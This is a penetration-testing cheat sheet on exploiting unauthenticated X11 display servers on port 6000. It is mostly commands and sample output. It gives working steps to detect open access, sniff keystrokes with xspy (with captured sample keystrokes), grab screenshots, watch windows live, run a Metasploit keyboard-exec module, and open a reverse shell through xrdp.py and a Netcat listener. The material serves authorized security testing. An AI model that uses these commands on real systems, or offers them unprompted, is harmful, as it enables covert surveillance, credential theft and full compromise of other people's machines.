The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this. From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Default port: 6000
PORT STATE SERVICE6000/tcp open X11
Check for anonymous connection:
nmap -sV --script x11-access -p <PORT> <IP>msf> use auxiliary/scanner/x11/open_x11
xdpyinfo -display <ip>:<display>xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
xspy to sniff the keyboard keystrokes.
Sample Output:
xspy 10.9.xx.xxopened 10.9.xx.xx:0 for snoopngswaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwdconvert screenshot.xwd screenshot.png
Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
First we need to find the ID of the window using xwininfo
xwininfo -root -display 10.9.xx.xx:0xwininfo: Window id: 0x45 (the root window) (has no name)Absolute upper-left X: 0Absolute upper-left Y: 0Relative upper-left X: 0Relative upper-left Y: 0Width: 1024Height: 768Depth: 16Visual: 0x21Visual Class: TrueColorBorder width: 0Class: InputOutputColormap: 0x20 (installed)Bit Gravity State: ForgetGravityWindow Gravity State: NorthWestGravityBacking Store State: NotUsefulSave Under State: noMap State: IsViewableOverride Redirect State: noCorners: +0+0 -0+0 -0-0 +0-0-geometry 1024x768+0+0
XWatchwin
For live viewing we need to use
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo./xwatchwin 10.9.xx.xx:0 -w 0x45
msf> use exploit/unix/x11/x11_keyboard_exec
Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py <IP:0> –no-disp
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
Then add the IP and port and then select R-Shell, which is illustrated below:
Now as can be seen below we have complete system access:
port:6000 x11